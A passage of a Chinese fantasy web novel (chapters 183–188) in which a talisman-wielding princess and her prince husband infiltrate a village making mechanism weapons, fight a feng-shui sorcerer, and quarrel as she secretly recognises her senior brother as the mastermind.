江清婉很想一巴掌呼过去。
这条暗道直通寨外,出口处有人影走动,显然是有看守的人。
墨云寒正准备动手解决。
江清婉却拉住他示意他不要。
随后从荷包里摸出三张符纸,刻画符箓之后,又蹲在地上,招呼墨云寒过去。
墨云寒不明所以,乖乖蹲下,江清婉再次抓起他的大手,再次咬在了他受伤的手指上,在他难以置信的表情中挤出血珠在地上画下阵法图。
随着三张符纸腾空而起,一个金色的阵法自下而上蔓延而去。
第183章 活砚台
“可以走了。”
江清婉站起身等着。
墨云寒也跟着站起身,盯着自己的手指尖看,却迟迟没有动作。
暗道有深坑,有没有脚梯,显然进出的人都会些功夫。
可江清婉不行啊。
她蹦不上去。
习惯性以为墨云寒会抱她上去,却见他一直低着头看手也不动弹,便有些着急,拽过他的手指放在唇边吹了两下。
“可以了吧?迷魂阵撑不了太久,带我上去。”
墨云寒回神,神色却依旧古怪,不似刚刚的轻松撩拨。
却还是听话的照做,大手揽住她飞身落在外面。
果然,几个守卫正在原地踱步,似乎在巡逻,眼神落在他们身上,却是好像什么都没看到,空空的。
江清婉拍了拍墨云寒的肩膀。
“林子后就是清风寨中大山隔绝的那个小村子吗?”
墨云寒随着她的目光看过去。
“是。”
“走,去看看。”
密林遮挡,那村子看上去平平无常。
周围却并无菜园子庄稼地,也没有水渠,只有一条蜿蜒的小路通向远处,目的地因为距离太远看不到。
“这村子怎么这么孤?”
人是群居的动物,与山中的狮子老虎不同。
在一个村子长久的生活下去,必然会有人间烟火的气息。
可不远处的那个村庄,却完全没有。
冷冰冰的,孤零零的。
“江清婉。”
身侧忽然传来墨云寒的声音。
“嗯?”江清婉疑惑转头,“怎么了?”
她这才注意到,墨云寒的神色不对。
她立刻环顾四周,并未发现异常。
“你是看到还是听到什么了?”
墨云寒缓缓举起自己的手指。
“为什么用我的血你能画出阵法?”
江清婉噎住。
还以为出了何事。
“你的血只是媒介,和墨汁没什么区别,关键在我用。”
她不想让他知道灵契的事情。
这话说的随意,似不参假。
可墨云寒还是看出她眼底的闪烁。
他压下心头怀疑,看向前面的村庄。
片刻后道,“虽没有哨岗,但你看东边那个茅草垛,那边一直有人。”
江清婉往那处看了看,却看的不是很清楚。
“有入村的方位吗?”
墨云寒点点头。
“有!不过要等天黑。”
从密林到村舍,还有段距离。
中间无任何遮挡,就这么冲过去,就算墨云寒轻功再高也做不到不被人发现。
江清婉却摇了摇头。
“不行,等不到晚上。今晚他们还会行动,我要知道他们到底有哪些机关武器,那个圆盘,绝不是终极的。”
二师兄曾说过,千孔锁是叠加各类机关的关键,但凡用上千孔锁,就一定不会是单一类攻击。
而那个圆盘上的弯刀里并没有之前在京中洛九拿给他看过的那个装火药的小铁筒。
她说着低头看向墨云寒的手指。
墨云寒被她盯得浑身发毛。
“还要画?”
江清婉抿了抿唇。
“如果这个距离的话,咬手指不够。”
她的目光往上移,落在墨云寒白净的手腕处。
墨云寒扶额。
“你当我是什么?砚台吗?”
江清婉抬眸看着他,目光盈盈。
“我也可以用我的,但我不忍心割,你用刀子帮我割吧。”
她将自己素白纤细的手腕递过去。
墨云寒瞪着她,整个人给气笑了。
这女人绝对纯纯地在报复他刚刚让她帮他吹手指的事情。
他从腰间抽出匕首。
二话不说就要划开手掌,江清婉忽又幽幽道,“倒是还有个法子。”
墨云寒一个晃神差点将手掌扎透。
血珠已经从刀尖上滚落。
江清婉默不作声地从荷包里又摸出两个空白符纸,随后粘着墨云寒掌心的血珠画了两个符。
一个贴在了自己的胸口,另一个贴在了墨云寒的胸口。
“可隐身半个时辰。”
墨云寒很深很深的吸了口气。
将刀子别好,拿了帕子粗略的包好手掌。
“今日本王真切的学了一句话,王妃想听吗?”
“不想,走吧。”
江清婉率先走出密林。
墨云寒的声音紧跟其后。
“这世间唯小人与女子难养也。”
江清婉不搭理他。
两个人顺利进入村庄。
刚踏进去,江清婉就感觉到一股很诡异的气流从身上扫过。
这村子里果然住着风水师。
风水师的功法和玄门道术又有些不同。
他们多靠天地之气,以周围风水引动阵法,汇聚灵气,为阵法所用。
而单纯的符箓攻击却并不太多,也没有玄门的更深奥。
此刻,一处宅院中。
小溪亭台瓜果藤蔓样样都有。
绿意葱葱,果香肆意。
葡萄藤下的茶舍里,一个身穿浅蓝色长衫的男人正悠然的躺在藤椅上,轻轻晃动着假寐。
腰上挂着一个小小的藤木酒壶,酒壶上刻着一个朱红的“曰”字。
身后的正堂内,穿着黄色道袍的男人急冲冲的跑了出来。
“先生,有人闯村。”
男人猛地挣开双目,锐利的精光一闪而过。
“为何没有铜锣声?”
穿着道袍的男人忙解释。
“刚刚清风寨内灵气异动,我原还猜不出是为何,看来闯入清风寨的那群人里有位玄门高手。”
蓝衫男人冷冷勾了勾唇,又懒懒的躺了回去。
“既然来了,那就好好招待。玄门高手对上我的机关术,也没有几成胜算。”
除非那人,是他小师妹。
道袍男躬身道,“先生,能否活捉留她性命,清风寨的风水局维系不易,若能将此人控制住,定有妙用。”
蓝衫男人已经闭上了眼。
“随你。”
道袍男大喜。
“多谢先生。”
说罢快速离开了院子。
墨云寒只觉神奇。
周围过往都是人。
可他们却似看不见一般。
这等神通,怎么会是区区懂些皮毛。
他不由再次看向江清婉。
江清婉也在此刻看向他,小手朝一个位置指了指。
那个院子的门口堆放了一些生锈的铁皮。
还有一些零星煅烧过的残块。
院子里一定是锻造房。
他们正要进去,忽然看到穿着道袍的男人带着一群大手气势冲冲地往这边走。
“封锁整个村子,把人找出来。两个,一男一女。”
江清婉拉着墨云寒避开,看着他们往村口走。
可刚过去没几步,道袍男就停了下来,眯着眼朝着他们这个方向看了过来。
第184章 让它吸一会
二人的心齐齐咯噔一下。
墨云寒立刻审视此刻的战局。
周围并无其他厉害的机关,只有道袍男身后那十几人手里的金钩弯刀,抽身离开不成问题。
道袍男看了一会却又转身走了。
显然只是察觉到灵力有些异常,并不能看破隐身符。
等他们走远,江清婉二人立刻去了锻造房。
刚进去就听到有人喊。
“张铁匠,把这批货送进去。”
“好!”
一个汉子应了一声。
接货的时候那人又道,“你寨子里还剩有不少材料吧?今晚搬回来。”
张铁匠又应了一声。
“好。”
随即板着那一箱子机关扣结往里面走。
江清婉拉着墨云寒立刻跟了上去。
穿过弄堂后面变得很开阔,有几个男人正在光着膀子拼装圆盘。
看动作,他们似乎并不懂得机关的奥妙。
半成品的机关武器中并没有千孔锁。
显然,他们也不是最终的成就机关的人。
可再往里面,就是个盛放武器的仓房,连门都没有。
江清婉带着墨云寒走了进去。
看着满屋子的弯刀,墨云寒只觉头疼。
他们从哪里得来这么多铁?
虽然生铁在大周并没有被管控,但这么大量的绝对有问题。
江清婉发现除了那些圆盘弯刀,还有一堆看不出是什么形状的东西。
有倒钩,衔接处是空着的,她联想了一下千孔锁的连接,心中一凛。
她曾在二师兄的手绘稿子里看到过一种武器。
有倒钩,借助千孔锁,组成波浪扇形,祁连山中的天湖里好多鱼都遭受过凌迟。
后背师父不许他再用这法子钓鱼,罚他在思过堂跪了三天。
当时的那个扇形很小,约莫两个巴掌大。
就已经可以将近十斤的鱼瞬间绞杀成烂泥,而眼前的东西,若组合起来要大上数倍,用在人的身上,下场难以形象。
她正看的入神,墨云寒忽然来到她身边将她拉住。
隐身符虽可隐藏气息和身形,但声音还是会透出去。
她没说话,眼神询问怎么了?
却见墨云寒指了指外面,
她转头,只见刚刚还热闹的弄堂里此刻一个人都没了。
目光穿过弄堂,看向门口,那道袍男人正手持拂尘拿出了罗盘。
“你们走不了了。”
他大喝一声,手中拂尘猛地砸向地面,一个巨大阵法在他脚下生成,有风起,吹进院子。
江清婉心中骤然不安。
她感觉到整个锻造房都在跟着轻轻的颤。
这种情况只会有一个可能,这里被下了风水阵。
只怪她刚刚进来的时候一心查看机关扣结,忽略了这一点。
果然,院落四角,有光柱升起。
与道袍男人脚下的阵法成合拢之势。
江清婉和墨云寒身上的隐身符也随之失去了功效。
好在这次,用的是墨云寒的血,不是她的灵气,反噬不大。
她只是胸口滞闷了一下。
可如今,却是没有时间再去想办法隐身逃离。
“墨云寒,破局在东,冲出去,快!”
若她修为还在,区区一个风水师她岂会这般狼狈。
墨云寒没有任何犹豫,抱着她朝着东边疾驰而去。
“还想逃!”
道袍男子冷嗤一声,手中罗盘顷刻飞出,直击江清婉的后背。
随着罗盘的掷出,罗盘上飞出数枚金针,每一个金针上都淬了尸水,呈现出幽暗的蓝光。
只要被扎中,即刻尸毒满眼,再配合他独家功法,就可将人炼化为行尸,只听他一人号令。
再看江清婉那张绝美的小脸,道袍男子不由淫笑了一声。
下一刻一道劲风袭来。
金针被直接扇飞回来。
道袍男子大吃一惊。
立刻结印控制,可被扇过来的金针却丝毫没有停下的意思,直冲而来。
他惊慌失措的往后躲闪,却根本躲不开,情急之下一把抓过了身边一个打铁的汉子挡在了前面。
金针尽数没入他体内。
那汉子惨叫一声,当场就昏死过去。
道袍男子却没时间理会。
看着刚刚出掌的墨云寒一脸的难以置信。
“不可能,怎么可能?怎么会两个人都是玄门高手!毁了我的罗盘,你们谁都别想走。”
他拽下腰间的瓶子打开,立刻有一群黑色的飞虫飞出,朝着江清婉二人的方向袭来,速度极快,而且呈分散性,根本没法躲。
风水阵已经合阵,想要破开,还要一点时间。
墨云寒不得已,只能抱着江清婉迅速闪躲。
那虫子飞的很快,可墨云寒的速度也不慢。
江清婉知道这不是个办法,低声道,
“这是尸火虫,幼虫靠死尸养出来,一旦破壳就一定刚要吸活人血,咱们被盯住了,不戏干,它们绝不会飞走。而且,它们速度极快,想武力攻击极难。”
墨云寒皱眉。
“你直接说,怎么做?”
江清婉看向他的手掌。
“要不,你让它们吸一会。”
墨云寒的眸色微凝了一下,却没有多做犹豫,“好,你来破阵。”
二人落在地面,墨云寒将江清婉挡在身后,抽出匕首再次划破手掌,将伤口扩大。
随后高高抬起。
那些尸火虫瞬间疯了一般涌了过来。
道袍男人大笑。
“蠢货,你以为那点鲜血就够了吗?他们的繁衍比你想象的还要快,一旦入体,不用半炷香的时间你就会吸成空壳,就算那小娘子破了我的风水阵又能如何,她不会你武功吧,能逃去哪里?”
掌心传来钻心一般的疼,一股极寒的亮起瞬间渗入进去,整个四肢都动弹不得。
墨云寒忍不住闷哼出声。
真的感觉到那些虫子在顺着他的伤口往里面钻。
他回头看向江清婉,“你快点,半炷香之内,我要送你回去。”
刚刚那些话,江清婉也听见了。
她正凝着所剩不多的灵气隔空画着符箓,闻言头也没回,轻轻笑了一下。
“你不怕死吗?被尸火虫吸干血肉,会变成一副烂皮囊包括着骨头,又丑又臭。”
墨云寒皱了下眉头。
“娘子,我再舍命救你,你这样我会很伤心。”
一声“娘子”差点让江清婉的符箓画错,她气鼓鼓的咬着唇瓣。
“吸干更好,我才不会伤心。”
就在道袍男人得意洋洋的时候,忽然发现,围堵在墨云寒掌心的那团尸火虫竟扑簌簌全掉在了地上。
而本该被吸干了血的墨云寒,掌心的伤口还一片鲜红,哪有半点发黄干枯的样子。
第185章 情绪异常
“不可能,这怎么可能!”
道袍男人此刻震惊得完全呆住。
墨云寒瞅准机会,凝气一掌劈了过去。
与此同时,有凌厉的破空声袭来。
几十只铁针直冲这边。
墨云寒担心江清婉,只能收掌后撤。
只见一只巴掌大的机关鸟飘在半空,下盘正是旋转着的千孔锁。
“先生!”
门口众人齐齐跪地高呼。
青衫男人戴着一块赤红色獠牙面具走了出来。
江清婉已经以符箓攻破了风水阵,转身拉住墨云寒的手,“走。”
却在这时看到了那只机关鸟,还有立在人群前带着面具的男人腰上挂着的藤木酒葫芦。
她整个人呆愣当场。
墨云寒却已经听到了她的指令,抱着她飞速登上东侧的土墙,眨眼间消失在墙外。
“去追!”
道袍男人气的大喝。
“不必,让他们走。”
青衫男人缓缓转身看着远去的背影,直到再也看不见,也没有摘下面具。
一旁的道袍男人气得跺脚。
“先生,他们毁了我的宝贝,我要他们成为我的奴隶,还有那个女子,我要她……”
“啪!”
毫无预兆的一巴掌。
扇的道袍男人连转了好几个圈才停下,半张脸红肿,牙都掉了一颗。
“先……先生?”
“就你,也配提她?再有下次,我要你变成干尸。”
他说完拂袖而去,声音悠然传来。
“今晚子时,屠城门!”
其他人吓得大气都不敢喘,齐齐跪下。
“是!”
道袍男人心里打鼓。
这还是他第一次见识到先生生这么大的气。
可他没听出到底是因为那女子,还是因为那男子。
这一路,江清婉都没有说话。
二人刚到议事堂,就看到一群村民都堵在外面,手里有拿鸡蛋的,又拿熏肉的,一个个翘首以盼。
“仙姑来了。”
有人喊了一声,所有人齐刷刷冲了过来。
墨云寒立刻挡在前面,他气势本就强横,再加上这一路江清婉的脸色都不好看,他以为她不舒服,此刻一张俊脸越发的萧杀。
大有谁敢靠近就一把拧断谁脖子的意思。
东子举着两只大鹅噗通跪在地上。
“仙姑,仙姑,求您赐我个孩子,您要我做什么都行。”
其他人一看他如此,也纷纷跪了下来。
“求仙姑赐我家一个孩子。”
“还有我家,求求仙姑了。”
“我们愿为仙姑打造祠堂供奉。”
“对对对,我们愿供奉仙姑。”
江清婉从墨云寒身后走出来。
看着众人,眸光异常平静。
平静中带着一丝悲悯和愧疚。
许久后道,“你们先回去吧,离开之前,我会破了清风寨的风水局,还你们自由。”
众人听不懂她最后的那句话,东子急忙问,
“那是不是以后我们都能有孩子。”
江清婉点点头,“我不会治病,只要你们身体无恙,便可。”
众人顿时大喜,齐齐磕头谢恩。
这时又有人想起街长的话。
“仙姑,街长家里供奉了一个鬼面石像,说是压邪祟的,您也一并给除了吧。”
那石像又在江清婉的脑海中闪了一下。
她却还是没有记起到底在哪里见过。
不过有一点她能确定。
“清风寨内没有邪祟,风水与那石头无关。”
打散了村民,江清婉就进了院子,径直回了房间。
莲儿抱着小红过去,却被挡在了外面。
小红能敏锐地察觉到她的情绪,从莲儿的怀里蹦下来蹲在门口发出低低的呜呜声。
莲儿担心的冲着墨云寒福了福身。
“王爷,我家小姐出了什么事?脸色怎么那么差?可是受伤了?”
墨云寒心里觉得有些奇怪。
“本王进去看看。”
他刚要推门,小红却忽地发出警告般的低吼,牙齿都呲了起来。
显然是不许他进去。
“你不是与我和解了吗?还要打一架?”
小红还是不许。
秦明朗在不远处阴阳怪气道,“九王殿下这是怎么了?连门也进不去了?要不要下官帮你敲一敲说个情,毕竟以前……”
墨云寒低头看了眼小红。
小红好似真的读懂了一般,一个飞跃而去,啪啪就是两爪子。
这一下,秦明朗那张脸全是爪印了,连一块好皮都看不到。
秦明朗大怒,正要发作,小红却已经稳稳的跳到了墨云寒的怀里。
得意地仰起头,颇有种狐假虎威之感。
“九王殿下,您就任由这东西袭击下官吗?还是说,您要借一个畜生的手杀了我?”
墨云寒抬手摸了摸狐狸头。
“杀你,还用借它的手吗?秦将军何必跟一只狐狸计较,显得很没风度。”
秦明朗指着自己伤痕累累的脸都快气炸了。
“我没风度?此事,我绝不会就这么算了。”
这时房门打开。
江清婉表情木然的站在门口。
“都闭嘴,要么都滚!”
她鲜少发这么大的脾气,周身没有墨云寒那么强势的气场,但却有一种令人胆颤的寂冷。
秦明朗下意识就闭了嘴。
房门再次关上。
外面一片静谧,好一会儿,墨云寒才低咳一声,转身看向同样呆愣的士兵们。
所有人齐刷刷转头,假装很忙。
这时青穗带着几个士兵抬着个木箱子走了进来。
“王爷!”
青穗没看出院内诡异的气氛,拱手行礼。
“洛……水爷让我把这几条铁索先拿回来,演练给大家使用。”
议事堂的院子很大。
众人规划出一片演武场,青穗带着几个士兵上场演练如何使用,其他人如何配合才能尽量减少伤亡。
巡防营的士兵身手都不差,学了几次很快就上手。
可演练了两遍有人提出疑问。
“如果这钩子没办法成功勾住那圆盘,这一个小队,岂不是要被全灭?”
众人瞬间面面相觑。
青穗冷冷看向说话的人。
“没有任何暗器能有十成的把握完全保护你,既然怕被全灭,就好好练习,只要精准度够了,就不会死。若没有这铁索,就算你们轻功再高,又有几成逃生的可能?”
她是女子,却声音铮铮,英气飒然,顿时令周围的男人汗颜,没有人再敢沮丧乱说。
这时,江清婉打开门走了出来。
墨云寒正准备上前,她却喊道,“青穗!”
“王妃!”
青穗立刻跑了过来,直愣愣地挡在了墨云寒的前面。
完全没看到男人的脸又黑又沉,还带着几分难以言表的委屈。
第186章 不能强攻
江清婉将手里的几张宣纸递过去。
“把这个拿给洛九,如何破除我已经画得很清楚,若生铁不够,就去各家各户借,就说仙姑要用,他们会给。”
青穗想提醒不是洛九是水爷,却已经太晚。
等她看到宣纸上画出来的图以后,又彻底忘了这一茬。
整个人都被吸引进去。
“这……这是新型的机关武器吗?”
她越看越心惊,自知事情严重,没敢耽搁,转身急匆匆的走了。
秦明朗冷笑一声开口。
“洛九?九王殿下您倒是瞒得紧,看来那战车的问题跟这位传闻中的机关大师有着密不可分的关系,才会让王爷连同王妃一起瞒着护着。”
不远处的士兵也都听说过洛九。
皆是面面相觑。
“原来是那位机关大师啊。”
“看来战车的责任,他是逃脱不来了。”
江清婉这才回神,她转头平静地看向一脸得意的秦明朗。
“倒也不是故意瞒着,只不过秦将军当初前往洛九的府邸逼着他与你合作,被拒之门外后破口大骂,还和那位苏县主闹得不可开交,以苏家老王爷的权势胁迫放下狠话,如今好好的战车出了这么大的乱子,难保不是因为秦将军没能得洛九所助,暗下手脚,此事回京后,我们不会查个水落石出。”
她话音刚落,墨云寒就已经站到她身边。
“秦将军,本王与王妃一次次给你颜面,你是半点都不要脸啊。当日在巡防营中你干的事情,莫不是忘了?”
来此的士兵皆是巡防营的人。
那日皇上亲临巡防营,所有人都到齐了。
秦明朗自导自演的那场戏,他们也都看了。
如今所有线索全都对上,他们看向秦明朗的眼神顿时变得不耻。
秦明朗气得想解释,可江清婉提到了苏家。
这事,他总归有些心虚,不敢托大。
只能气鼓鼓的甩袖回了房间。
墨云寒低头看向江清婉。
“你到底怎么了?”
江清婉摇摇头,“那些人不会给我们太多时间,去忙吧,我没事。”
说完再次将人拒之门外。
回到房间,她枯坐在椅子上,心绪依旧难平。
即便那人戴着面具,衣着改了,可那个藤木葫芦她不会认错。
那是她送给二师兄的生辰礼物,上面的那个“曰”还是她刻上去的。
本来想刻一个“鲁”字,不过她那时年岁小,力气不大,实在嫌弃笔画太多。
那群人的头领,被称之为先生的人,真的是她的二师兄人称神机班鲁的萧然厝(cuo)。
可是为什么啊?
诸葛门铁律,弟子不可插手朝堂之事。
即便是她,已被牵扯入局,也尽力避免插手朝堂更迭的国运之中。
二师兄又为什么做这样的事情?
她想不通。
可这场战争,无论谁赢谁输,那些精妙的机关都会被抬到皇帝面前。
必然会引起轩然大波。
到时候神机班鲁还有诸葛门都会被卷进去。
难不成是祁连山出了事?
她立刻起身将小红招了进来。
询问之后,它却知之甚少,只说自己是从闭关的山洞里跑出来的,没见到众人的身影,便下山寻她。
可山中聚灵阵并没有被破坏,飞禽走兽也并无异常。
江清婉这才稍稍松了口气。
一直到天色全部暗下来,洛九那边还在忙。
墨云寒已经将兵力全部安排下去,以防被人从暗道袭入。
铁匠铺子那边也安排了人手保护,只是洛九好没有将破掉新的机关武器的暗器弄出来。
夜七站在墨云寒身边低声道,“老洛说材料有限,村民的那些农具质量不行,那个暗器需要精铁。既然您和王妃已经查到了位置,不如咱们主动进攻,左右是打一场,我不信咱们能输!”
这一提议,墨云寒在带着江清婉从那个小村子回来的时候就提过。
江清婉当时没说话,只是摇了摇头。
墨云寒初始还以为是那村子还有什么大能量的阵法,可如今……
他将刚刚收到的暗卫密信递了过去。
“你自己看。”
夜七展开,顿觉心惊。
“火药?您怀疑那批被运出来的火药藏在那个村子里?”
这一点墨云寒还无法完全确定。
当时进去,只顾着查看暗器,并没有去查这个。
可是从运送方向追查的线索来看,火药的确来了清风寨。
但是,街长的家里没有任何火药痕迹。
他刚刚也让士兵搜查了不少住户,因有江清婉仙姑的名声震慑,他们都很配合,可依旧没有火药痕迹。
火药既然不在这里,那被必然是被存放在真正的清风寨中。
强攻,不是良策。
谁知道他们将火药埋在何处。
夜色又沉了几分。
夜七也带着人出门巡视。
墨云寒转身走回院子。
莲儿苦着脸站在寝卧门口,见他过来立刻道,“王爷,小姐还是不开门,奴婢实在担心,要不然,咱们闯进去吧?”
李斗不在,也跟着那些士兵出去了。
门里面上了栓,单凭莲儿一人根本撞不开。
房间里有烛火一直亮着。
墨云寒皱了皱眉,抬手猛地用力。
随着咔嚓一声,门栓瞬间断裂。
莲儿立刻冲了进去,“小姐……”
房间内,江清婉正在伏案画着什么,听见动静头也没抬。
莲儿将热好的饭菜放在桌上。
“小姐,先吃点东西好不好?”
墨云寒也走上前,他以为江清婉又在画机关图纸,却发现她正在画一种很奇怪的符。
旁边还放着几页纸,也是同样的符箓。
直到最后一笔落下,江清婉才终于从凝神状态中抽离。
抬头看到杵在桌前的二人略有些诧异。
“你们怎么进来了?”
这时她肚子传来咕噜噜的响动。
饭香味也在此刻侵袭五感。
她揉了揉肚子放下笔。
“都这么晚了吗?莲儿取水,我要洗手。”
莲儿忙应下跑了出去,很快端着一盆清水进来。
江清婉洗了手,便坐下开始吃饭。
莲儿见她无碍,心中大安,便退了出去。
墨云寒在她对面落座,并没有说话,只是沉默的看着她吃东西。
江清婉也实在饿得厉害,吃了半饱后才开口。
“清风寨的风水局有些麻烦,范围太广,而且我现在的修为实在太差,我思前想后,唯一可行的就是用符箓反将一军,一月后,这个局就会破。不过到时候还得用你的血才行,墨汁没用。”
这一次墨云寒没有再问他的血为什么又和墨汁不同了。
他盯着她那张瓷白的小脸,轻叹了一声。
“那只狐狸离开了寨子,你是知道的对吧?”
第187章 心有隔阂
江清婉停下了动作,抬眸看他。
她知道,以墨云寒的敏锐,绝对能察觉到。
可若是在诸葛门和墨云寒之间选,她会毫不犹豫选择前者。
“小红又乱跑?随它吧,玩够了自己会回来的。”
她淡淡回了句,继续低头吃饭。
墨云寒的心酸胀的厉害,似要证明什么般道,“若我想知道它去了哪里,我会派人跟着,可我没这么做,我以为你会说。”
江清婉再次抬眸,眸色很淡。
“墨云寒,那只是你以为。”
气氛变得异常的僵持。
谁都没让,谁都没再开口。
房间里只剩下江清婉吃饭的声音,她动作很轻柔,吃的很乖很柔顺,漂亮娇媚的像个特别听话的小娇妻。
可事实却截然不同。
她冷硬的比刀剑还伤人。
墨云寒忽地抬手,手掌一紧一松。
掌心的伤被粗鲁而强势的崩开,鲜血滚落。
“画符吧,本王很忙,没时间陪你等。”
手掌伸过来,血珠毫无预兆地滴在了江清婉的手背上。
白皙和殷红,鲜明刺目。
江清婉什么都没说,推开碗筷,拿出符纸,取了干净的狼毫笔,粘着血,细致的画着图。
她画的很快,那么复杂奇怪的线路,在她笔尖如行云流水般丝滑。
看的人赏心悦目。
直到最后一笔落下,墨云寒依旧没有等来解释。
他心中失望,攥起手,起身走了。
莲儿就守在外面,并没有听见争吵声,却在福身的时候看到了拂袖而去的墨云寒铁青的侧脸。
骇的她心中一凛,立刻走进房间。
“小姐,您和王爷……”
她话没说完就被江清婉打断。
“青穗在哪?”
莲儿忙道,“还在铁匠铺,奴婢把她找来?”
“不必!”
江清婉将画好的符小心收好。
“掌灯,随我出门。”
“是!”
莲儿跟着江清婉多年,自是能看出她情绪不对。
可也知道,若她不肯说,问也是白问。
两个人刚出门,就被秦明朗拦住。
他称病什么事都不参与就在房间里养着,可这心思却一直不净。
刚刚瞧见墨云寒脸色不善的离开,就又开始蠢蠢欲动。
“婉婉……”
莲儿立刻挡在前面。
“秦将军,我家王爷可就在院外。”
秦明朗低声冷嗤。
“本将军与你家小姐言语,何时轮到你一个丫鬟插嘴,还不滚开?”
莲儿气的想反驳,江清婉已经淡淡开口。
“秦明朗,我心情不太好。”
清雅的嗓音,低缓柔和。
在月色之下,绝美的小脸眸光盈盈。
似是有万般委屈,要与人倾诉。
秦明朗本就骚动的心,顷刻间掀起惊涛骇浪。
一把推开莲儿上前靠近。
“婉婉,无论何时何地,我都愿意做你最坚实的依靠,你有任何不开心都可以跟我说,我一定会好好安抚你。”
他的手已经伸向了江清婉的肩膀,似要将她抱在怀里。
杵在院外的墨云寒死死抿着冷峭的唇角,墨色的眸光中杀气腾腾,却并没有转身回去阻止。
他心里裹着气。
执拗而倔强的等江清婉自己喊救命。
可里面却始终没有声音,他又等了几息,最终还是妥协,转身想回去看看,迎面却差点和准备出远门的江清婉撞上。
怪他一门心思担心,连警觉性都变差了。
竟没注意到有人出来。
四目相对,他立刻抬头错开,看向了江清婉的身后。
秦明朗还站在原地,手臂还是抬着的,却僵在了半空一动不动。
似乎被点了穴定住一般。
“他怎么了?”
江清婉见他没有让开的意思,不爽的抬头瞪了过去。
“我告诉秦将军我心情不好,他偏要招惹,王爷是不是也想试试定身咒贴在身上的感觉?”
她如此气恼,却比平淡冷漠更让墨云寒心里舒畅。
他瞥了眼一旁提着灯笼的莲儿。
“你们要去哪?”
江清婉此刻的心情是真的极不好。
仿佛有石头压着在胸口,呼吸都觉得沉。
“我想去哪里,做什么,需要事事跟王爷交代吗?让开!”
这炸毛发脾气的模样,惹得墨云寒心痒,差点伸手在她的小脑袋上揉两下。
可鉴于定身符已经有人试验过,他强压着冲动没敢惹。
“夜里不安全,我陪着你。”
“不用!”江清婉冷声拒绝,“在王爷心中,我这等妖女,应是无所不能,更何况整个寨子都在王爷的布局之中,还怕我一个手无缚鸡之力的女子凭空逃了不成?”
她说完抬手,猛地推开墨云寒径直出了门。
墨云寒抬手摸了摸鼻尖。
“你这女人,该生气的是我,你倒是发起了脾气。”
他声音很低,似是自个嘟囔抱怨。
江清婉却忽地转身一脚踹在了他的小腿上,踹的结结实实。
一双水盈盈的眸子,被怒火烧的越发的潋滟动人。
“我除了会用定身咒,我还会用哑咒,你再嘟囔一句,我立刻给你试试。”
凶巴巴的放完狠话,这才转身离开。
墨云寒下意识想跟。
江清婉却又立刻看了过来,白嫩嫩的小手抬起,做了个抹脖子的动作。
威胁意味明显。
院外守着的士兵看的目瞪口呆,又齐刷刷低下头,只当自己什么都没看见。
心里却都在讶异,在战场上令人吓破胆的煞神王爷,竟然会被一个女子治的服服帖帖,连句狠话都不敢正大光明的说。
走出很远,莲儿才小声道,“小姐,其实王爷说得对,寨子里不安全,要不然奴婢还是先把青穗叫来保护您吧。”
“你也不信我?”
江清婉站住转头看她。
莲儿立刻摇头。
“我自然是相信小姐的。”
江清婉又问。
“那你觉得我是不是无所不能?”
莲儿停顿了一下,极为郑重的点了点头。
江清婉盯着她瞧了一会,忽地展颜一笑。
“我也觉得我无所不能。”
即便二师兄真的参与了此事,她定然也能找到两全其美的办法,不让诸葛门参与其中,也不让二师兄和墨云寒站在生死对决的两面。
思及此,压在心口的那块石头终于不那么重了。
她朝着寨子里唯一的大河走去。
想破风水局,那河水便是关键。
活水引渡,却能倒翻天罡,让风水反噬倒灌,此局也就破了
第188章 一侧欢愉,一侧痛苦
寨子里晚上挂灯笼的人家很少,再加上这两日外人入侵,家家户户早就闭了门。
这一路行至大河,也没有遇到任何村民,倒是遇到了两队巡逻的,见识她,也没有多问。
唯一的灯笼照着河岸,显得整条河幽暗而又神秘。
夜风袭来,给人一种阴恻恻的恐惧感。
莲儿不由搓了搓胳膊。
“小姐,您冷不冷?出门的时候该披上披风的,是奴婢粗心了。”
江清婉没说话,双眼直直看着整条大河。
河岸两侧并不算宽,但是河堤蔓延的却很长很长。
在这种风水局中,有一刀斩的凶狠之气。
她想起那个身穿道袍的男人。
能养得出尸火虫,并在暗器中用尸毒的风水师,和邪修没什么两样。
不过小红能入河抓鱼,那就说明这河中并无腐尸或者尸气,倒也省了她再行检查。
“莲儿,灯笼放下,你退到十步之外。”
“是!”
莲儿没敢多问,将灯笼的竹竿插在了松软的地面上便退了出去。
这大河周围并无杂草,她能清晰的看到江清婉的身影,退开十步之后,不知道是不是她的错觉,竟觉得这夜风吹来舒爽无比,再无冷意。
江清婉独自站在河岸前凝神起阵。
与此同时,萧然厝的小院里,道袍男人也在起阵。
黄色八卦布上,四方各摆了生禽的头颅。
他正焚了香,用一根桃木剑插着符纸围着八卦布快速的走着。
随着他念念有词的声音。
八卦布的正中央竟出现了一团明火。
明火炽白,似有人影窜动舒展着四肢,踉踉跄跄的似乎要从明火中走出。
可却不知道为什么,始终没办法成功,好像明火之中有什么东西在拉扯。
道袍男人气的大喝一声,脚下猛地一跺,再次用力。
明火中的人影被他拽的都快弯成了一张弓,可脑袋和双脚依旧在明火中不得出。
一旁藤椅上坐着的萧然厝噗嗤一声笑了出来。
“别费力了,你不可能成功。”
似是为了印证这句话。
那人影就被拉扯的分崩离析,明火瞬间熄灭。
道袍男人被反噬的连连后退了好几步,一脸的难以置信。
“这风水局是我利用了地势之灵巧而设下,范围之光,蔓延整个寨子,又得寨子内所有生灵供养,岂会轻易被破?我再试试。”
他准备再次起阵。
萧然厝却悠然起身。
“行了,快到时辰了,收拾收拾要撤了。”
道袍男人有些不甘心。
“先生,属下不懂,您不杀那两人,却又让咱们的人夜袭寨子,还要放弃咱们经营了数年的地方,到底是为何?”
萧然厝比他高了半个头,清冷的眸子冷冷扫过他。
“道三,你跟了我几年了?”
道三怔了怔,稍作回忆后答,“六年。”
萧然厝缓缓勾起唇角。
“六年而已,我要做的事,你也配插嘴?”
冷厉的训斥让道三的后背瞬间起了一层冷汗,吓得他立刻跪在了地上。
“属下知错。”
萧然厝将目光收回,抬眸看向遥遥的星空。
“一个小破村子,几百条人命而已,有什么可惜的?京城里的那位不是一直都很想将事情闹大吗?我不过是帮他提前了而已。金钩弯刀,大隋余孽,哼,大周这天,也该变一变了。”
……
河岸前,随着一声娇喝,“阵法起!”
一道金光以极快的速度蔓延在河面上,复杂的符箓在阵法中游走,如活物一般,最终将整条河全部笼罩住。
在莲儿的眼中,这河和刚刚的样子并无任何差别。
她什么也看不出来,刚回神,就看到江清婉身形晃动,跌跌撞撞的似要往河水里栽。
“小姐。”
她大惊失色,迅速往前跑。
